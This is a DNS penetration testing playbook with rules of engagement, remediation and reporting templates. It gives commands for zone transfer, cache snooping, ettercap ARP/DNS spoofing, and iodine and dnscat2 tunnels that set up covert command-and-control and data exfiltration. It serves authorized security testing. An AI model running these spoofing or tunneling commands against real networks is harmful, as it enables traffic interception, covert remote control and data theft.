

DNS Penetration Test

Target / Scope: `target.com` / `X.X.X.X` (DNS service)

Service: DNS (Domain Name System) — Default UDP/TCP port **53**

Date: 2025-10-25

1. Executive Summary

This document is a practical penetration testing playbook for assessing DNS infrastructure. It includes reconnaissance, enumeration, common attack vectors (zone transfer, cache snooping, spoofing, tunneling), post-exploitation techniques (exfiltration, covert channels), detection and logging guidance, and remediation. The aim is to provide a complete set of commands and checks to evaluate DNS security and to produce evidence suitable for reporting.

Key takeaways:

- Misconfigured authoritative servers that allow AXFR (zone transfer) leak the domain's DNS records and subdomains.
 - DNS servers that reveal version information or support recursion for arbitrary clients can aid attackers.
 - DNS tunneling and DNScat/dnscat2 provide covert channels for data exfiltration and C2 when allowed.
-

2. Rules of Engagement & Legal

- **Authorization:** Only test DNS systems for which you have explicit written permission. Include domains, IP ranges, and allowed techniques (e.g., recursion testing, zone transfer attempts, fuzzing).
- **Non-destructive testing:** Avoid actions that deliberately disrupt DNS (e.g., high-volume queries, poisoning attempts) unless explicitly authorized.
- **Privacy & data handling:** Treat collected data (zone contents, subdomains, certificates) as sensitive.

Pre-test checklist:

- Signed authorization and scope document.
 - Emergency contact and kill-switch procedure.
 - Agreed list of allowed discovery techniques and rate limits.
-

3. Reconnaissance

3.1 Identify Nameservers

```
# Find authoritative nameservers
dig NS target.com +short
nslookup -type=NS target.com
host -t ns target.com
```

3.2 Banner & Version Grabbing

```
# CHAOS class bind version (if allowed)
dig @<DNS_IP> version.bind CHAOS TXT

# nsid (nameserver identifier) script\ n# (nmap)
nmap --script dns-nsid -p 53 <DNS_IP>

# UDP banner check (netcat)
nc -nv -u <DNS_IP> 53
```

3.3 Server Discovery & Enumeration (Nmap)

```
# Basic DNS service detection
nmap -p 53 <DNS_IP>

# NSE scripts for DNS discovery
```

```
nmap -p 53 --script "(default and *dns*) or dns-recursion or dns-nsid or dns-  
zone-transfer" <DNS_IP>
```

4. Enumeration

4.1 Standard DNS Queries (dig/nslookup/host)

```
# A record  
dig A target.com  
  
# Any record  
dig ANY target.com @<DNS_IP>  
  
# MX record  
dig MX target.com  
  
# TXT record  
dig TXT target.com  
  
# Reverse lookup  
dig -x <IP_ADDRESS>  
  
# Query specific server  
dig @<DNS_SERVER_IP> target.com  
  
# nslookup examples  
nslookup -type=MX target.com  
nslookup target.com <DNS_IP>  
  
# host  
host -t MX target.com  
host <IP_ADDRESS>
```

4.2 Zone Transfer (AXFR)

```
# Attempt AXFR with dig
dig axfr @<DNS_IP> target.com

# AXFR without specifying domain
dig axfr @<DNS_IP>

# Use fierce for automated zone transfer attempts
fierce --domain target.com --dns-servers <DNS_IP>
```

If AXFR succeeds: collect the full zone, including subdomains, host records, and potentially internal records.

4.3 Subdomain Enumeration & Brute Force

```
# dnsrecon (active and brute force)
dnsrecon -d target.com -a -t std -D /usr/share/dnsrecon/namelist.txt -n <DNS_IP>

# dnsenum
dnsenum --dnsserver <DNS_IP> --enum -f <WORDLIST> target.com

# Subdomain brute force with wordlist
for sub in $(cat subdomains.txt); do dig +short $sub.target.com @<DNS_IP>;
done
```

4.4 Certificate Transparency & OSINT

```
# Use crt.sh (manual) or certspotter to find subdomains
# Example using curl + crt.sh API (if needed)
curl "https://crt.sh/?q=%25.target.com&output=json" | jq '.[].name_value' | sort -u
```

4.5 DNS Enumeration via Search Engines & Tools

- DNSDumpster, SecurityTrails, Spyse, DNSlytics, Shodan, Censys.

- Maltego for graphing and relationship mapping.

5. Attack Vectors

5.1 Zone Transfer Exploitation (AXFR)

- If AXFR is allowed from arbitrary clients, an attacker can obtain the entire DNS zone and enumerate hosts, subdomains, mail servers, and internal names.

Commands:

```
dig axfr @<DNS_IP> target.com
fierce --domain target.com --dns-servers <DNS_IP>
```

Impact: Reconnaissance for further attacks (phishing, subdomain takeover, infrastructure mapping).

5.2 DNS Cache Snooping & Poisoning

```
# Check if a record is cached on resolver
dig @<resolver_ip> target.com +norecurse

# Using nmap to find servers allowing recursion
nmap -p 53 --script=dns-recursion <DNS_IP>
```

Spoofing & poisoning: Only test in isolated, authorized environments. Modern resolvers and DNSSEC reduce this risk.

5.3 DNS Spoofing / MITM (Local Network)

```
# Ettercap DNS spoofing example
ettercap -T -q -M arp:remote /<gateway-ip>// /<target-ip>// -P dns_spoof
```

Impact: Redirect victims to attacker-controlled hosts for credential harvesting, malware, or monitoring.

5.4 DNS Tunneling & Covert Channels

```
# Iodine (server)
iodined -f -c <tunnel-ip> <domain>
# Iodine (client)
iodine <dns-server-ip> <domain>

# DNScat2 (server)
# Server side
# dnscat2-server --dns-port 53 --domain example.com

# Client side
# dnscat2 <domain>
```

Impact: Exfiltrate data or establish C2 over DNS when other channels are restricted.

5.5 Subdomain Takeover

- Identify subdomains pointing to deprovisioned cloud resources (e.g., S3, Heroku) and claim them to host malicious content.

Enumeration & checks:

```
# Identify cname to external provider
dig CNAME sub.target.com
# Cross-check provider-specific fingerprints (e.g., S3, GitHub Pages)
```

6. Post-Exploitation & Data Exfiltration

6.1 DNS Exfiltration Techniques

```
# Using dnsx or custom tools to encode small data into DNS queries
# Example: dnscat2 or custom scripts that split data into subdomain labels
```

6.2 DNScat & DNScat2 (Encrypted C2)

```
# Server side
dnscat2 --dns server=<dns-server-ip>:53 --domain=yourdomain.com

# Client side
dnscat2 yourdomain.com
```

Use case: Encrypted command channel over DNS for remote control and exfiltration.

6.3 Covert Channel Detection

- High volumes of DNS TXT or long label queries are suspicious.
- Unusually frequent NXDOMAIN responses or randomized subdomain patterns suggest tunneling.

Detection commands / IDS signatures:

- Monitor DNS query entropy and label lengths.
- Alert on excessive TXT record queries and long QNAMEs.

7. Detection, Logging & Evidence Collection

7.1 Evidence to Collect

- `dig` outputs, timestamps, and captured AXFR zone files.
- Nmap script outputs showing recursion and version info.
- Logs of long/large DNS queries (pcap or resolver logs).
- Certificate Transparency results and lists of discovered subdomains.

7.2 Example Evidence Commands

```
# Timestamped
date --iso-8601=seconds

# AXFR evidence
```

```
dig axfr @<DNS_IP> target.com > evidence_axfr_zone.txt
```

Dig results

```
dig @<DNS_IP> target.com ANY +noall +answer > evidence_dig.txt
```

Nmap scan

```
nmap -p 53 --script "dns-recursion,dns-nsid,dns-zone-transfer" <DNS_IP> -oN evidence_nmap.txt
```

CertSh results

```
curl "https://crt.sh/?q=%25.target.com&output=json" > evidence_crtsh.json
```

8. Risk Assessment & Severity Guidance

- **Critical:** AXFR allowed or DNS servers misconfigured to serve internal records; DNSSEC not used when needed and poisoning is possible.
- **High:** Open resolver allowing recursion and cache snooping; DNS server exposing version info aiding exploit selection.
- **Medium:** Subdomain enumeration reveals development/test environments and sensitive hosts.
- **Low:** Banner disclosure only.

9. Remediation & Hardening Recommendations

Immediate:

- Disable AXFR from arbitrary hosts; restrict zone transfers to authorized secondary nameservers.
- Disable recursion on authoritative nameservers (unless explicitly required) or restrict recursion to internal resolvers.
- Remove version exposure (hide `version.bind` and NSID responses where possible).
- Monitor and rate-limit DNS queries to detect tunneling.

Strategic:

- Implement DNSSEC to protect integrity of DNS responses where applicable.
- Use split-horizon DNS for internal vs external records.
- Enforce logging of DNS queries and integrate with SIEM for anomaly detection.
- Regularly audit DNS zones and certificate transparency logs for unexpected subdomains.

10. Tools & Command Quick Reference

Standard tools: `dig` , `nslookup` , `host` , `nmap` , `dnsrecon` , `dnsenum` , `fierce` , `dnscat2` , `iodine` , `dnstunnel` , `dnsspoof` , `dnsx` , `crt.sh` , `SecurityTrails` , `DNSDumpster` .

Common commands summary:

```
# Nameservers
dig NS target.com
nslookup -type=NS target.com

# Basic queries
dig A target.com
dig ANY target.com @<DNS_IP>
dig -x <IP>

# Zone transfer
dig axfr @<DNS_IP> target.com

# Subdomain brute force
dnsrecon -d target.com -a
dnsenum --enum target.com

# Certificate Transparency
curl "https://crt.sh/?q=%25.target.com&output=json"

# DNS tunneling (iodine)
```

```
iodined -f -c <tunnel-ip> <domain>  
iodine <dns-server-ip> <domain>
```

```
# dnscat2  
dnscat2 --dns server=<dns-server-ip>:53 --domain=yourdomain.com  
dnscat2 yourdomain.com
```

11. Practical Testing Checklist

1. Confirm authorization & scope.
2. Enumerate authoritative nameservers and resolvers.
3. Attempt zone transfer (AXFR) from each nameserver.
4. Test recursion and cache behavior on resolvers.
5. Enumerate subdomains via wordlists, CT logs, and OSINT.
6. Check for version exposure and NSID information.
7. Test for tunneling and abnormal query patterns (low-volume tests first).
8. Collect evidence (zone files, dig outputs, nmap script outputs).
9. Provide remediation guidance and re-test after fixes.

12. Reporting Snippets & Examples

Sample finding:

- **Title:** Zone transfer allowed from public authoritative nameserver
- **Severity:** High
- **Affected Host:** ns1.target.com (X.X.X.X)
- **Finding:** AXFR allowed to unauthenticated clients; zone file contains internal hostnames and subdomains.
- **Proof:** dig axfr @X.X.X.X target.com output (attached).

- **Impact:** Complete enumeration of domain infrastructure, enabling targeted attacks.
- **Recommendation:** Restrict zone transfers to authorized secondaries and remove internal records from public zones.

Quick executive note:

DNS zone transfer was permitted on an authoritative server, exposing internal host records. Restrict AXFR and review zone contents immediately.
